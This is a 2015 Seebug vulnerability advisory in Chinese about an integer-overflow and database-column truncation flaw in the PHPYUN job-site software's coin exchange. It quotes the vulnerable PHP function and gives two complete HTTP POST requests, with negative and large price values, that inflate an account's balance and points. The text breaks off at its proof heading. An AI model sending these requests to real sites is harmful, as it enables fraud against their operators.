PHPYUN很有意思的刷积分和金币漏洞(整形边界和mysql字段混合利用)

2015-07-24T00:00:00
ID SSV:93991
Type seebug
Reporter Root
Modified 2015-07-24T00:00:00

Description

简要描述:

PHPYUN很有意思的刷积分和金币漏洞(整形边界/mysql字段混合利用),这么辛苦的到了快三点了还在码字,各位审核老大,不来个首页过不去吧

详细说明:

首先普及一个知识: 当然intval()返回的值在一个4字节所能表示的范围之内(-2147483648~2147483647),对于超过这个范围的值将用边界值代替。 下来看看phpyun积分的数据表结构:

<img src="https://images.seebug.org/upload/201507/2416042815c3529d86fc3baa0d1118709da94aea.png" alt="1.png" width="600" onerror="javascript:errimg(this);">

double(10,2) 这个的意思是有十位有效数字,保留小数点后两位有效数字,也就是实际上最大也就99999999.99 varchar(10) 就是十位字符串 分析一下: 1. inval正常情况下无法产生一个10位的整数,所以只能靠溢出边界 2. 2147483648 这个东西进入到字段pay里面后,这个值就会变成99999999.99,比原先的整整少了10倍左右 3. -2147483648 这个东西进入到字段integral,这个值由于数据库设计的是字符形式,那么减号正好占据一个位,那么也少了10倍左右,最终变成了-214748364 基础知识就是这些,看代码: 例如:

<img src="https://images.seebug.org/upload/201507/2402392060d25c626cc1125b8c68ce562db2179e.png" alt="1.png" width="600" onerror="javascript:errimg(this);">

下来看代码: wap/member/model/com.class.php:

``` function duihuan_action(){

    $statis=$this-&gt;obj-&gt;DB_select_once("company_statis","`uid`='".$this-&gt;uid."'","`pay`");
    $num=(int)$_POST['price_int'];

    $price=$num/$this-&gt;config['integral_proportion'];

    if($statis['pay']&gt;$price){

        $this-&gt;obj-&gt;DB_update_all("company_statis","`pay`=`pay`-$price,`integral`=`integral`+$num","`uid`='".$this-&gt;uid."'");
        $this-&gt;insert_company_pay($price,2,$this-&gt;uid,'购买'.$num.$this-&gt;config['integral_pricename'],2,3);
        $this-&gt;member_log("兑换金币");

```

条件一: $num=(int)$_POST['price_int']; 满足可控边界溢出 条件二: $this->config['integral_proportion']; 这个东西是个20,除以2147483648 还是具有10位数字,满足条件 条件三: if($statis['pay']>$price){ 要这个成立,刚注册的公司账号,pay是0,price为负数满足条件 条件四: User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) 注册一个公司角色的用户,登录后 根据以上几点 第一次发送10个9的负数,溢出: POST /phpyun40https://images.seebug.org/upload/wap/member/index.php?c=duihuan&m=com HTTP/1.1 Host: 192.168.23.169 User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=01f5e8c5cd7936d769b0889efea4b637; uid=3; username=test2; salt=8c22c2; shell=b2958c6a0d5ba8fc41dfca8b85664214; usertype=2; friend_message2=0; sysmsg2=0; userid_job=0; commsg=0; remind_num=0 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 19 price_int=-9999999999 查看数据库为:

<img src="https://images.seebug.org/upload/201507/24023042e121759989a85943b57dc4a42b45ec0c.png" alt="3.png" width="600" onerror="javascript:errimg(this);">

第一次发送9个9的正数,非溢出: 解释一下,这个字段integral 现在是一个9位负数,然后我们加上9位大整数,积分为正, 这个字段pay是一个99999999.99最大数,减去自己的差不多一半的值,还是为正,既刷了钱也刷了积分 请求如下: POST /phpyun40https://images.seebug.org/upload/wap/member/index.php?c=duihuan&m=com HTTP/1.1 Host: 192.168.23.169 User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=01f5e8c5cd7936d769b0889efea4b637; uid=3; username=test2; salt=8c22c2; shell=b2958c6a0d5ba8fc41dfca8b85664214; usertype=2; friend_message2=0; sysmsg2=0; userid_job=0; commsg=0; remind_num=0 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 21 price_int=999999999 查看数据库:

<img src="https://images.seebug.org/upload/201507/2402351396775dd97df2a957306c4fa6e62b3b55.png" alt="4.png" width="600" onerror="javascript:errimg(this);">

去个人的资料查看一下:

<img src="https://images.seebug.org/upload/201507/24023641868c1568abc296fd9e4e00387b3270f6.png" alt="5.png" width="600" onerror="javascript:errimg(this);">

然后你想开会员,这么多积分,最新版本好像有转账功能

漏洞证明: